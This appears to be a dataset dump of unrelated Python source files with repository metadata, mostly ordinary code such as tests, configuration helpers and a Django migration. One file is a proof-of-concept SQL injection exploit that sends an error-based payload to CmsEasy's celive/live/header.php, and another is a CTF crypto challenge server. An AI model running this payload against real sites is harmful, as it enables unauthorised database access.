import panzee.weapon def test_params(): gun = panzee.weapon.Weapon("AK-47", range_=3, ammo=10, base_damage=50) assert gun.name == "AK-47" assert gun.range == 3 assert gun.ammo == 10 assert gun.base_damage == 50
23.3
74
0.652361
2af98accc9c64d7933a32dbf5b6b6c0ff617df4d
16,740
py
Python
MAIN/STM32F405_C/NORMAL/history/V31/PXSensor.py
ozturkahmetcevdet/VSenst
07c068fefcbd66ae4d8ec0480b4da10d6b5c7410
[ "MIT" ]
null
null
null
MAIN/STM32F405_C/NORMAL/history/V31/PXSensor.py
ozturkahmetcevdet/VSenst
07c068fefcbd66ae4d8ec0480b4da10d6b5c7410
[ "MIT" ]
null
null
null
MAIN/STM32F405_C/NORMAL/history/V31/PXSensor.py
ozturkahmetcevdet/VSenst
07c068fefcbd66ae4d8ec0480b4da10d6b5c7410
[ "MIT" ]
null
null
null
import gc from micropython import const import binascii OPEN_SCENE_SHOW_TIME = const(2500) CLOSING_TIME = const(10000) CLOSE_SCENE_SHOW_TIME = const(1000) PXHUB_ESTIMATED_LIFETIME = const(1675) #day class T: sSDV = const( 30) sSNV = const(-15) sSSV = const( 10) dSDV = c...
60.652174
641
0.632378
6303eeb9e75abc6d70e0ec90900a55217cbd584b
259
py
Python
python/system/helper.py
rissom/RC3MUD
d5ffb8b79a6a95e9389ee0576f52dfee1f52c4ee
[ "MIT" ]
1
2020-09-29T17:44:31.000Z
2020-09-29T17:44:31.000Z
python/system/helper.py
rissom/RC3MUD
d5ffb8b79a6a95e9389ee0576f52dfee1f52c4ee
[ "MIT" ]
null
null
null
python/system/helper.py
rissom/RC3MUD
d5ffb8b79a6a95e9389ee0576f52dfee1f52c4ee
[ "MIT" ]
null
null
null
def i18n(playerlanguage, iobject): if playerlanguage in iobject: return iobject[playerlanguage] if 'en' in iobject: return iobject['en'] if 'de' in iobject: return iobject['de'] return "$$ Ooops, no text available $$"
25.9
43
0.625483
2dd2e540c001fe3c7ddb0570851154e9dae28b82
2,348
py
Python
src/visuanalytics/util/config_manager.py
mxsph/Data-Analytics
c82ff54b78f50b6660d7640bfee96ea68bef598f
[ "MIT" ]
3
2020-08-24T19:02:09.000Z
2021-05-27T20:22:41.000Z
src/visuanalytics/util/config_manager.py
mxsph/Data-Analytics
c82ff54b78f50b6660d7640bfee96ea68bef598f
[ "MIT" ]
342
2020-08-13T10:24:23.000Z
2021-08-12T14:01:52.000Z
src/visuanalytics/util/config_manager.py
visuanalytics/visuanalytics
f9cce7bc9e3227568939648ddd1dd6df02eac752
[ "MIT" ]
8
2020-09-01T07:11:18.000Z
2021-04-09T09:02:11.000Z
"""Dieses Modul stellt Methoden für den Zugriff auf private sowie öffentliche Konfigurationsparameter bereit. """ import json import os from json import JSONDecodeError from visuanalytics.util.dict_utils import merge_dict CONFIG_LOCATION = "../config.json" CONFIG_PRIVATE_LOCATION = "../instance/config.json" STEPS_BA...
32.164384
113
0.709114
87a7447db0c76226e64b62f933ff6deeba85ad38
1,718
py
Python
py/refresh.py
hotarugali/Emoji
e3cbcd6644d9f8a69d0cf9c0209de42c0d469f0f
[ "MIT" ]
null
null
null
py/refresh.py
hotarugali/Emoji
e3cbcd6644d9f8a69d0cf9c0209de42c0d469f0f
[ "MIT" ]
null
null
null
py/refresh.py
hotarugali/Emoji
e3cbcd6644d9f8a69d0cf9c0209de42c0d469f0f
[ "MIT" ]
null
null
null
## 该脚本用于修改表情包库后刷新 jsdelivr 缓存 ## 主要是刷新 info.json 文件 import os import requests import argparse # 刷新表情包目录的 jsdelivr 缓存 def refresh(dir, cdn): name = os.path.basename(dir) url = os.path.join(cdn, f"{repo}@{name}", dir.split(f'/{repo}/')[1].strip("/")) print(url) requests.get(url) if __name__=='__main__...
33.686275
96
0.623399
87ccbddfec02dce22cd2b08127deb883b4bc3727
399
py
Python
pacman-arch/test/pacman/tests/upgrade076.py
Maxython/pacman-for-termux
3b208eb9274cbfc7a27fca673ea8a58f09ebad47
[ "MIT" ]
23
2021-05-21T19:11:06.000Z
2022-03-31T18:14:20.000Z
source/pacman-6.0.1/test/pacman/tests/upgrade076.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
11
2021-05-21T12:08:44.000Z
2021-12-21T08:30:08.000Z
source/pacman-6.0.1/test/pacman/tests/upgrade076.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-09-26T08:44:40.000Z
2021-09-26T08:44:40.000Z
self.description = "Package downgrade (failure)" lp1 = pmpkg("pkg1") lp1.depends = ["pkg2=1.1"] self.addpkg2db("local", lp1) lp2 = pmpkg("pkg2", "1.1-1") self.addpkg2db("local", lp2) p = pmpkg("pkg2", "1.0-1") self.addpkg(p) self.args = "-U %s" % p.filename() self.addrule("PACMAN_RETCODE=1") self.addrule("PKG_EXIS...
21
48
0.674185
3564d88236f37dcd78fd4a1dfe11bfa31b2b3822
5,041
py
Python
app/user/views.py
pushyzheng/docker-oj-web
119abae3763cd2e53c686a320af7f4f5af1f16ca
[ "MIT" ]
2
2019-06-24T08:34:39.000Z
2019-06-27T12:23:47.000Z
app/user/views.py
pushyzheng/docker-oj-web
119abae3763cd2e53c686a320af7f4f5af1f16ca
[ "MIT" ]
null
null
null
app/user/views.py
pushyzheng/docker-oj-web
119abae3763cd2e53c686a320af7f4f5af1f16ca
[ "MIT" ]
null
null
null
# encoding:utf-8 from app import app, db from app.common.models import RoleName, JudgementStatus from app.common.user import User from app.submission.models import Submission from app.auth.main import auth from utils import logger, success from datetime import datetime, timedelta from sqlalchemy import and_, desc from ...
26.255208
104
0.616743
575e5f7a19747a4dcd7ed0bdb18ece477d43b7d8
1,580
py
Python
speakerphat/morse.py
gbesancon/projects
7a9da629dddcf21fbe5c043d86b00036f80cbe14
[ "MIT" ]
null
null
null
speakerphat/morse.py
gbesancon/projects
7a9da629dddcf21fbe5c043d86b00036f80cbe14
[ "MIT" ]
1
2022-03-02T10:43:58.000Z
2022-03-02T10:43:58.000Z
speakerphat/morse.py
gbesancon/projects
7a9da629dddcf21fbe5c043d86b00036f80cbe14
[ "MIT" ]
null
null
null
import sys CODE = { 'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '....
29.811321
54
0.277848
57a1621ea81bf372bb87e649d94c432991efc57c
436
py
Python
Chapter10_Cython/2_CythonCode/fastvector/__init__.py
tomex74/UdemyPythonPro
b4b83483fa2d3337a2860d53ff38e68eb38b3ac4
[ "MIT" ]
null
null
null
Chapter10_Cython/2_CythonCode/fastvector/__init__.py
tomex74/UdemyPythonPro
b4b83483fa2d3337a2860d53ff38e68eb38b3ac4
[ "MIT" ]
null
null
null
Chapter10_Cython/2_CythonCode/fastvector/__init__.py
tomex74/UdemyPythonPro
b4b83483fa2d3337a2860d53ff38e68eb38b3ac4
[ "MIT" ]
null
null
null
from .computations import cython_clip_vector from .computations import naive_cython_clip_vector from .computations import python_clip_vector from .dtypes import float32 from .dtypes import float64 from .dtypes import int8 from .dtypes import int16 from .dtypes import int32 from .dtypes import int64 from .dtypes import ...
29.066667
50
0.83945
aa0c6501ab1d39188b0519de98645607eb6d6a30
3,596
py
Python
feint/core.py
wrobstory/feint
9420e48d47052e14227cd6c878ebf67a4cbf5fd9
[ "MIT" ]
1
2017-06-12T17:37:54.000Z
2017-06-12T17:37:54.000Z
feint/core.py
wrobstory/feint
9420e48d47052e14227cd6c878ebf67a4cbf5fd9
[ "MIT" ]
null
null
null
feint/core.py
wrobstory/feint
9420e48d47052e14227cd6c878ebf67a4cbf5fd9
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Core: The core functionality for Feint to interact with Ruse.js """ from __future__ import (print_function, division) import random import json from pkg_resources import resource_string from string import Template import pandas as pd GLMATRIX_SRC = "http://astrojs.s3.amazonaws.com/ruse/e...
28.768
80
0.545884
aa10c1b97d98ac31eaed8cc59f3486938503aa61
5,545
py
Python
transonic/signatures.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
transonic/signatures.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
transonic/signatures.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
"""Compute function signatures ============================== Internal API ------------ .. autofunction:: _format_types_as_backend_types .. autofunction:: compute_signatures_from_typeobjects .. autofunction:: _make_signature_from_template_variables .. autofunction:: make_signatures_from_typehinted_func """ impor...
27.864322
87
0.657349
108a0122bc0b065aeadf7ad9b65290eededc72e4
1,605
py
Python
web/user/userlist.py
liukai0322/docklet
9e4d1f4fc2e523423b0e94406242a29b20643788
[ "BSD-3-Clause" ]
1
2016-05-31T06:52:53.000Z
2016-05-31T06:52:53.000Z
web/user/userlist.py
liukai0322/docklet
9e4d1f4fc2e523423b0e94406242a29b20643788
[ "BSD-3-Clause" ]
null
null
null
web/user/userlist.py
liukai0322/docklet
9e4d1f4fc2e523423b0e94406242a29b20643788
[ "BSD-3-Clause" ]
null
null
null
from flask import render_template, redirect, request from dockletreq.dockletrequest import dockletRequest from view.view import normalView import json class userlistView(normalView): template_path = "user_list.html" @classmethod def get(self): groups = dockletRequest.post('/user/groupNameList/')["...
28.157895
75
0.678505
dc2eeb2e3be87aa80f8c5169c350969f6ab3d77a
1,592
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/route/route_1htoDay.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/route/route_1htoDay.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/route/route_1htoDay.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2008-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.ec...
37.904762
77
0.694724
dc94be96a49e516b61fb5e9bf1587a6a737204ea
5,002
py
Python
doc/fb_memoir/python/ask.py
ghsecuritylab/project-powerline
6c0ec13bbfc11c3790c506f644db4fe45021440a
[ "MIT" ]
null
null
null
doc/fb_memoir/python/ask.py
ghsecuritylab/project-powerline
6c0ec13bbfc11c3790c506f644db4fe45021440a
[ "MIT" ]
null
null
null
doc/fb_memoir/python/ask.py
ghsecuritylab/project-powerline
6c0ec13bbfc11c3790c506f644db4fe45021440a
[ "MIT" ]
1
2020-03-08T01:50:58.000Z
2020-03-08T01:50:58.000Z
#!/usr/bin/env python3 import sympy as sp import numpy as np import matplotlib.pyplot as plt # Approx 10 kHz w = 66e3 deltaW = 33e3 T = 2 * np.pi / w T_lo = 2 * np.pi / (w - deltaW) T_hi = 2 * np.pi / (w + deltaW) A1 = 5 A2 = 30 x = sp.Symbol('x') #func1 = 1/2 * (2 + sp.cos(2*w1*x) + sp.cos(2*w2*x) + 2*s...
39.078125
96
0.629748
dc96cb3853f2836415ea9daa7df2c7a8fefdac3f
1,299
py
Python
Django/ballon/migrations/0004_auto_20180828_0041.py
ballon3/GRAD
c630e32272fe34ead590c04d8360169e02be87f1
[ "MIT" ]
null
null
null
Django/ballon/migrations/0004_auto_20180828_0041.py
ballon3/GRAD
c630e32272fe34ead590c04d8360169e02be87f1
[ "MIT" ]
null
null
null
Django/ballon/migrations/0004_auto_20180828_0041.py
ballon3/GRAD
c630e32272fe34ead590c04d8360169e02be87f1
[ "MIT" ]
null
null
null
# Generated by Django 2.1 on 2018-08-28 07:41 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('ballon', '0003_auto_20180828_0021'), ] operations = [ migrations.AddField( model_name='resume', ...
28.866667
110
0.56736
522d9b5ee04439df5dc311b7f4a20e356c2714fa
1,044
py
Python
sso-db/ssodb/common/models/activity_model.py
faical-yannick-congo/sso-backend
e962006b0fecd68e4da94e54b4dc63547a5a2c21
[ "MIT" ]
null
null
null
sso-db/ssodb/common/models/activity_model.py
faical-yannick-congo/sso-backend
e962006b0fecd68e4da94e54b4dc63547a5a2c21
[ "MIT" ]
null
null
null
sso-db/ssodb/common/models/activity_model.py
faical-yannick-congo/sso-backend
e962006b0fecd68e4da94e54b4dc63547a5a2c21
[ "MIT" ]
null
null
null
import datetime from ..core import db from ..models import User, Service import json from bson import ObjectId class Activity(db.Document): created_at = db.StringField(default=str(datetime.datetime.utcnow())) updated_at = db.StringField(default=str(datetime.datetime.utcnow())) day = db.StringField(default=...
37.285714
87
0.672414
0dee799aadfaec5c6fbda769eef47f08d0225f04
2,145
py
Python
research/nlp/gpt2/src/utils/get_config_setting.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/nlp/gpt2/src/utils/get_config_setting.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/nlp/gpt2/src/utils/get_config_setting.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
45.638298
109
0.682517
21906ab359bf4a4d501aadbdfb411cbecf13b989
492
py
Python
source/pkgsrc/devel/py-llvmlite/patches/patch-ffi_build.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/py-llvmlite/patches/patch-ffi_build.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/py-llvmlite/patches/patch-ffi_build.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-ffi_build.py,v 1.7 2020/05/12 08:08:08 adam Exp $ Add NetBSD support. --- ffi/build.py.orig 2020-05-08 14:22:24.000000000 +0000 +++ ffi/build.py @@ -182,6 +182,8 @@ def main(): main_posix('linux', '.so') elif sys.platform.startswith(('freebsd','openbsd')): main_posix('freebsd', '...
30.75
64
0.599593
21c46f71e8a7a39f34bfdca4c371dd5e6dc28942
15,577
py
Python
CharakterEP.py
JoergRue/Sephrasto
a4fa3c2c1b095b674a9e71416ca448e3be3de225
[ "MIT" ]
null
null
null
CharakterEP.py
JoergRue/Sephrasto
a4fa3c2c1b095b674a9e71416ca448e3be3de225
[ "MIT" ]
null
null
null
CharakterEP.py
JoergRue/Sephrasto
a4fa3c2c1b095b674a9e71416ca448e3be3de225
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'CharakterEP.ui' # # Created by: PyQt5 UI code generator 5.12.1 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Form(object): def setupUi(self, Form): Form.setObjectN...
59.454198
115
0.733838
df3a2e4e62605cc6512356c9f37553c243181f05
3,337
py
Python
quark_core_api/common/utils.py
arcticle/Quark
17aa5b5869a9e9c7a04c1a371fef5998f33dc319
[ "MIT" ]
null
null
null
quark_core_api/common/utils.py
arcticle/Quark
17aa5b5869a9e9c7a04c1a371fef5998f33dc319
[ "MIT" ]
null
null
null
quark_core_api/common/utils.py
arcticle/Quark
17aa5b5869a9e9c7a04c1a371fef5998f33dc319
[ "MIT" ]
null
null
null
from future.utils import viewitems from future.builtins import super from collections.abc import Mapping class Cache(Mapping): def __init__(self, *args, **kw): self._keys = [] self._cache = {} self._size = 1024 if args: if len(args) > 2: raise Exception...
27.130081
96
0.584957
df58949120e6388969aa18ee68bf82ebd079bb7d
3,802
py
Python
Jeney/01_Exercise/ex1.py
appfs/appfs
8cbbfa0e40e4d4a75a498ce8dd894bb2fbc3a9e3
[ "MIT" ]
11
2017-04-21T11:39:55.000Z
2022-02-11T20:25:18.000Z
Jeney/01_Exercise/ex1.py
appfs/appfs
8cbbfa0e40e4d4a75a498ce8dd894bb2fbc3a9e3
[ "MIT" ]
69
2017-04-26T09:30:38.000Z
2017-08-01T11:31:21.000Z
Jeney/01_Exercise/ex1.py
appfs/appfs
8cbbfa0e40e4d4a75a498ce8dd894bb2fbc3a9e3
[ "MIT" ]
53
2017-04-20T16:16:11.000Z
2017-07-19T12:53:01.000Z
import sys import csv import numpy as np def skipLine(row): #checks wheather the line should be skipped #input: row as parsed by linereader (python array of 3 strings) #output: true(skip)/false(don't skip) # #check row for the right format #row has to be a list of 3 strings, otherwise skip ...
30.66129
73
0.642294
8033860f40a2fe81804d84f102a5386ad8c8fd48
695
py
Python
codeit/algorithm/greedy_max_product.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
codeit/algorithm/greedy_max_product.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
codeit/algorithm/greedy_max_product.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
def max_product(card_lists): max_product = 1 for card_list in card_lists: max_product *= max(card_list) return max_product if __name__ == '__main__': from util import test_value test_cards1 = [[1, 6, 5], [4, 2, 3]] test_value(max_product(test_cards1), 24) test_cards2 = [[9, 7, ...
30.217391
84
0.564029
8056f628dd8d8d3d2ea875eb6a06cfa03e744b1b
699
py
Python
Packs/XSOAR-SimpleDevToProd/Scripts/IsDemistoRestAPIInstanceAvailable/IsDemistoRestAPIInstanceAvailable.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/XSOAR-SimpleDevToProd/Scripts/IsDemistoRestAPIInstanceAvailable/IsDemistoRestAPIInstanceAvailable.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/XSOAR-SimpleDevToProd/Scripts/IsDemistoRestAPIInstanceAvailable/IsDemistoRestAPIInstanceAvailable.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto # noqa: F401 from CommonServerPython import * # noqa: F401 brandName = "Demisto REST API" instanceName = demisto.args().get('instanceName') allInstances = demisto.getModules() brandInstances = [instanceName for instanceName in allInstances if allInstances[instanceName]['brand'].lower( ) ...
46.6
128
0.762518
d579e7db6528ef2c96fb95a62a526724bf5f9fe2
478
py
Python
source/pkgsrc/lang/nodejs10/patches/patch-tools_gyp_pylib_gyp_common.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/lang/nodejs10/patches/patch-tools_gyp_pylib_gyp_common.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/lang/nodejs10/patches/patch-tools_gyp_pylib_gyp_common.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-tools_gyp_pylib_gyp_common.py,v 1.1 2019/12/09 20:05:40 adam Exp $ Add support for DragonFly. --- tools/gyp/pylib/gyp/common.py.orig 2017-05-03 02:00:16.000000000 +0000 +++ tools/gyp/pylib/gyp/common.py @@ -427,6 +427,8 @@ def GetFlavor(params): return 'openbsd' if sys.platform.startswith('netbs...
31.866667
81
0.694561
639bed17eeb011a8c8cf8decc964befc3c334541
4,470
py
Python
BSidesCanberra/2021/crypto/Super_Cool_Facts_Server/SuperCoolFactsServer.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
BSidesCanberra/2021/crypto/Super_Cool_Facts_Server/SuperCoolFactsServer.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
BSidesCanberra/2021/crypto/Super_Cool_Facts_Server/SuperCoolFactsServer.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
#!/usr/bin/python3 #Super Cool Facts Server #author: cybears_cipher #python3 SuperCoolFactsServer.py #requirements #pip3 install pycrypto ## SERVER # socat TCP-LISTEN:3141,reuseaddr,fork EXEC:"python3 ./SuperCoolFactsServer.py" ##CLIENT # nc localhost 3141 import os from random import SystemRandom, choice import ...
28.83871
91
0.563087
89b361ecfe54db1cde32d3855de5529c966dacdf
160
py
Python
Shivani/greater.py
63Shivani/Python-BootCamp
2ed0ef95af35d35c0602031670fecfc92d8cea0a
[ "MIT" ]
null
null
null
Shivani/greater.py
63Shivani/Python-BootCamp
2ed0ef95af35d35c0602031670fecfc92d8cea0a
[ "MIT" ]
null
null
null
Shivani/greater.py
63Shivani/Python-BootCamp
2ed0ef95af35d35c0602031670fecfc92d8cea0a
[ "MIT" ]
null
null
null
x = int(input("enter first number\n")) y = int(input("enter second number\n")) if(x>y): print(x,"is greater than",y) else: print(y,"is greater than",x)
22.857143
39
0.63125
988cadb77f2da80202b8826fd7ffa60d0c0912c8
702
py
Python
Codeforces_problems/GCD Compression B/solution.py
KAHund/CompetitiveCode
6ed211a2f795569f5c2f18c2f660520d99d41ca0
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Codeforces_problems/GCD Compression B/solution.py
KAHund/CompetitiveCode
6ed211a2f795569f5c2f18c2f660520d99d41ca0
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Codeforces_problems/GCD Compression B/solution.py
KAHund/CompetitiveCode
6ed211a2f795569f5c2f18c2f660520d99d41ca0
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
# To ensure that the GCD remains greater than 1, we add odd numbers and even numbers together to b # Adding two odd numbers makes sure that the sum is even (hence it has a multiple of 2). # Same with adding two even numbers. # This ensures that the GCD always remains >= 2 in our final array as all numbers are even. for...
29.25
98
0.653846
7f6dfbab1d5a8e852866429bbca4eae6a9be06a9
2,980
py
Python
theblog/models.py
clowdcap/ablog
1a31c8ec83777c35ff3fde5da8e5e89181bd5d34
[ "MIT" ]
null
null
null
theblog/models.py
clowdcap/ablog
1a31c8ec83777c35ff3fde5da8e5e89181bd5d34
[ "MIT" ]
null
null
null
theblog/models.py
clowdcap/ablog
1a31c8ec83777c35ff3fde5da8e5e89181bd5d34
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import User from django.urls import reverse from datetime import date, datetime from ckeditor.fields import RichTextField # Create your models here. class Category(models.Model): name = models.CharField(max_length=255) def __str__(self): ret...
35.47619
88
0.702685
7f761e1907c276a308f2e14b5d798c7f12aedf3b
1,503
py
Python
SurveyManager/survey/migrations/0001_initial.py
javiervar/SurveyManager
bbe2ed356654c32586c587f58c609c8ce014e96b
[ "MIT" ]
null
null
null
SurveyManager/survey/migrations/0001_initial.py
javiervar/SurveyManager
bbe2ed356654c32586c587f58c609c8ce014e96b
[ "MIT" ]
null
null
null
SurveyManager/survey/migrations/0001_initial.py
javiervar/SurveyManager
bbe2ed356654c32586c587f58c609c8ce014e96b
[ "MIT" ]
null
null
null
# Generated by Django 2.1.2 on 2018-11-24 05:54 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Encuesta', fields=[ ...
35.785714
115
0.572854
f6c8c040a34ff6cda5977e09ba8cddbfea1e6c24
6,040
py
Python
hyperts/macro_estimators.py
zhangxjohn/HyperTS
c43c8d820d26dd362510997c1c294341279ce1e1
[ "Apache-2.0" ]
null
null
null
hyperts/macro_estimators.py
zhangxjohn/HyperTS
c43c8d820d26dd362510997c1c294341279ce1e1
[ "Apache-2.0" ]
null
null
null
hyperts/macro_estimators.py
zhangxjohn/HyperTS
c43c8d820d26dd362510997c1c294341279ce1e1
[ "Apache-2.0" ]
null
null
null
# -*- coding:utf-8 -*- """ """ from hypernets.utils import logging from hypernets.core.search_space import ModuleSpace from hyperts.utils import consts from hyperts.wrappers.stats_wrappers import ProphetWrapper, VARWrapper, TSFClassifierWrapper logger = logging.get_logger(__name__) class HyperEstimator(ModuleSpace...
38.967742
94
0.664073
12170b5a3b1519d4ea21126610d5645ec6a69d6e
2,913
py
Python
server/bumf/core/migrations/0005_dossier_realtransaction_virtualtransaction.py
bumfiness/bumf
71c404c0a8f804b8f0e127df3de6d8916db4c660
[ "Apache-2.0" ]
6
2017-01-07T17:59:46.000Z
2017-02-10T13:19:46.000Z
server/bumf/core/migrations/0005_dossier_realtransaction_virtualtransaction.py
rixx/bumf
71c404c0a8f804b8f0e127df3de6d8916db4c660
[ "Apache-2.0" ]
null
null
null
server/bumf/core/migrations/0005_dossier_realtransaction_virtualtransaction.py
rixx/bumf
71c404c0a8f804b8f0e127df3de6d8916db4c660
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-01-07 22:59 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('core', '0004_realaccount'), ] operations = [ ...
63.326087
291
0.669756
d616d851ff7d189393601782369b3c891b601434
1,529
py
Python
tp1/source/BestFirst.py
ha2398/ia-tps
3696c92c8e2549aab6ac83da317cef8e15762eea
[ "MIT" ]
null
null
null
tp1/source/BestFirst.py
ha2398/ia-tps
3696c92c8e2549aab6ac83da317cef8e15762eea
[ "MIT" ]
null
null
null
tp1/source/BestFirst.py
ha2398/ia-tps
3696c92c8e2549aab6ac83da317cef8e15762eea
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 ''' Trabalho Pratico 1: Inteligência Artificial Autor: Hugo Araujo de Sousa (2013007463) BestFirst.py: Best first search. ''' from GraphSearch import GraphSearch from heapq import * from Node import Node class BestFirst(GraphSearch): def __init__(self, initial, goal, problem_map): ''' ...
20.945205
66
0.697842
61812503dbac5ca6e4a65d51db318dc77fc88b7e
1,149
py
Python
CmsEasy/5.5_UTF-8_20140802/poc.py
vlvk/PoC
ebf816f3526541b29ff9dbda484372c3850210f8
[ "MIT" ]
null
null
null
CmsEasy/5.5_UTF-8_20140802/poc.py
vlvk/PoC
ebf816f3526541b29ff9dbda484372c3850210f8
[ "MIT" ]
null
null
null
CmsEasy/5.5_UTF-8_20140802/poc.py
vlvk/PoC
ebf816f3526541b29ff9dbda484372c3850210f8
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding:utf-8 import urllib2 import urllib import sys import hashlib def verify(url): target = "%s/celive/live/header.php" % url # data to be sent post_data = { 'xajax': 'LiveMessage', 'xajaxargs[0][name]': ( "1',(SELECT 1 FROM (select count(*),concat(" ...
24.446809
75
0.525674
0d0caa76f084e65c301dfd0af20d6bd70365f680
256
py
Python
tests/hm/testBaseList.py
debauer/HomematicToInflux
233a837f0da031f331d771f0e6f7b55f488cd747
[ "MIT" ]
null
null
null
tests/hm/testBaseList.py
debauer/HomematicToInflux
233a837f0da031f331d771f0e6f7b55f488cd747
[ "MIT" ]
null
null
null
tests/hm/testBaseList.py
debauer/HomematicToInflux
233a837f0da031f331d771f0e6f7b55f488cd747
[ "MIT" ]
null
null
null
import unittest from hm import BaseList class HmBaseTest(unittest.TestCase): def testBase(self): xml = "<hallo>asd</hallo>" r = BaseList(xml) self.assertEqual(r.get_xml(), xml) if __name__ == '__main__': unittest.main()
18.285714
42
0.640625
37074c531b36e7dd742e14dfb6ea0c9dcbdc3be6
132
py
Python
Programa1.py
fpsantosx/DesenWeb
a226b742612731a274cb98319bac87079c57eb2f
[ "Apache-2.0" ]
null
null
null
Programa1.py
fpsantosx/DesenWeb
a226b742612731a274cb98319bac87079c57eb2f
[ "Apache-2.0" ]
null
null
null
Programa1.py
fpsantosx/DesenWeb
a226b742612731a274cb98319bac87079c57eb2f
[ "Apache-2.0" ]
null
null
null
def numeros(n): for i in range(1,n+1): print(str(i) * i) valor=int(input("Digite um número: ")) numeros(valor)
22
39
0.560606
2c0aed4582474ca9ece479947dd1195b62d065e5
1,248
py
Python
